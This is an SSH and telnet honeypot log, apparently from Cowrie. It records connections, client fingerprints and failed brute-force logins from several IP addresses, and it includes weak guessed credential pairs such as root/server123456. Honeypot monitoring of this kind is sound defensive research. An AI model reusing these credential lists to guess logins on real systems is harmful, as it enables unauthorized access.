{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:05.522064Z","src_ip":"43.165.177.199","session":"f83dfa463f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2wsx@WSX","message":"login attempt [ubuntu/2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:06.273408Z","src_ip":"43.165.177.199","session":"f83dfa463f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:07.456703Z","src_ip":"43.165.177.199","session":"f83dfa463f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161457061768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:56.204803Z","src_ip":"5.198.120.124","session":"2f741bb31398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00096249580383,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:56.362191Z","src_ip":"5.198.120.124","session":"7ede57d5f8e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":51886,"dst_ip":"159.203.135.109","dst_port":23,"session":"032ac008b657","protocol":"telnet","message":"New connection: 5.198.120.124:51886 (159.203.135.109:23) [session: 032ac008b657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:56.417829Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":36817,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed1ab07c3303","protocol":"ssh","message":"New connection: 213.209.159.159:36817 (159.203.135.109:22) [session: ed1ab07c3303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:57.182431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:57.186857Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:57.269018Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":51910,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebfb6540c7dd","protocol":"telnet","message":"New connection: 5.198.120.124:51910 (159.203.135.109:23) [session: ebfb6540c7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:57.402929Z"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim","message":"login attempt [jim/jim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:57.670402Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim1","message":"login attempt [jim/jim1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:58.755630Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim123","message":"login attempt [jim/jim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:59.839504Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim1234","message":"login attempt [jim/jim1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:45:00.923918Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim12345","message":"login attempt [jim/jim12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:45:02.009891Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:45:03.098123Z","src_ip":"213.209.159.159","session":"ed1ab07c3303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.144.108.128","src_port":50416,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc611cd460da","protocol":"telnet","message":"New connection: 98.144.108.128:50416 (159.203.135.109:23) [session: bc611cd460da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:00.642703Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":39540,"dst_ip":"10.17.0.5","dst_port":22,"session":"2739352d6712","protocol":"ssh","message":"New connection: 43.165.177.199:39540 (10.17.0.5:22) [session: 2739352d6712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:02.444742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:02.449815Z","src_ip":"43.165.177.199","session":"2739352d6712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:02.633822Z","src_ip":"43.165.177.199","session":"2739352d6712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.3023159503936768,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:02.944916Z","src_ip":"98.144.108.128","session":"bc611cd460da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"666666","message":"login attempt [user/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:03.401492Z","src_ip":"43.165.177.199","session":"2739352d6712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:04.589058Z","src_ip":"43.165.177.199","session":"2739352d6712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02405333518982,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:56.441782Z","src_ip":"5.198.120.124","session":"032ac008b657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00207543373108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:57.404864Z","src_ip":"5.198.120.124","session":"ebfb6540c7dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":56187,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6e051e09c23","protocol":"telnet","message":"New connection: 5.198.120.124:56187 (159.203.135.109:23) [session: b6e051e09c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:46:57.598250Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.151.101.85","src_port":37210,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e251cf80f3a","protocol":"telnet","message":"New connection: 186.151.101.85:37210 (159.203.135.109:23) [session: 6e251cf80f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:20.109146Z"}
{"eventid":"cowrie.session.closed","duration":13.036936283111572,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:33.145955Z","src_ip":"186.151.101.85","session":"6e251cf80f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":57352,"dst_ip":"10.17.0.5","dst_port":22,"session":"8497b5ff6f95","protocol":"ssh","message":"New connection: 43.165.177.199:57352 (10.17.0.5:22) [session: 8497b5ff6f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:53.669420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:53.673925Z","src_ip":"43.165.177.199","session":"8497b5ff6f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:53.853337Z","src_ip":"43.165.177.199","session":"8497b5ff6f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:54.603622Z","src_ip":"43.165.177.199","session":"8497b5ff6f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:47:55.785438Z","src_ip":"43.165.177.199","session":"8497b5ff6f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03308343887329,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:48:57.631196Z","src_ip":"5.198.120.124","session":"b6e051e09c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3c5ecc146e0","protocol":"telnet","message":"New connection: 5.198.120.124:33364 (159.203.135.109:23) [session: b3c5ecc146e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:48:57.893980Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":53030,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc6b87e3e20f","protocol":"ssh","message":"New connection: 43.165.177.199:53030 (10.17.0.5:22) [session: fc6b87e3e20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:49:48.490650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:49:48.495493Z","src_ip":"43.165.177.199","session":"fc6b87e3e20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:49:48.668849Z","src_ip":"43.165.177.199","session":"fc6b87e3e20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qwerty123456","message":"login attempt [guest/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:49:49.395447Z","src_ip":"43.165.177.199","session":"fc6b87e3e20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:49:50.571505Z","src_ip":"43.165.177.199","session":"fc6b87e3e20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00842809677124,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:50:57.902262Z","src_ip":"5.198.120.124","session":"b3c5ecc146e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":38939,"dst_ip":"159.203.135.109","dst_port":23,"session":"2404a71e2755","protocol":"telnet","message":"New connection: 5.198.120.124:38939 (159.203.135.109:23) [session: 2404a71e2755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:50:58.089457Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.138","src_port":51567,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be8d8d72b32","protocol":"ssh","message":"New connection: 147.185.132.138:51567 (159.203.135.109:22) [session: 0be8d8d72b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:15.975684Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:16.142164Z","src_ip":"147.185.132.138","session":"0be8d8d72b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":45900,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0565a078eb","protocol":"ssh","message":"New connection: 43.165.177.199:45900 (10.17.0.5:22) [session: 7b0565a078eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:47.027617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:47.032085Z","src_ip":"43.165.177.199","session":"7b0565a078eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:47.205297Z","src_ip":"43.165.177.199","session":"7b0565a078eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123456","message":"login attempt [root/server123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:47.932289Z","src_ip":"43.165.177.199","session":"7b0565a078eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:51:49.107857Z","src_ip":"43.165.177.199","session":"7b0565a078eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02364182472229,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:52:58.112983Z","src_ip":"5.198.120.124","session":"2404a71e2755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":44766,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef43f9bac0d9","protocol":"ssh","message":"New connection: 43.165.177.199:44766 (10.17.0.5:22) [session: ef43f9bac0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:53:46.013041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:53:46.018484Z","src_ip":"43.165.177.199","session":"ef43f9bac0d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:53:46.207989Z","src_ip":"43.165.177.199","session":"ef43f9bac0d9","protocol":"ssh"}
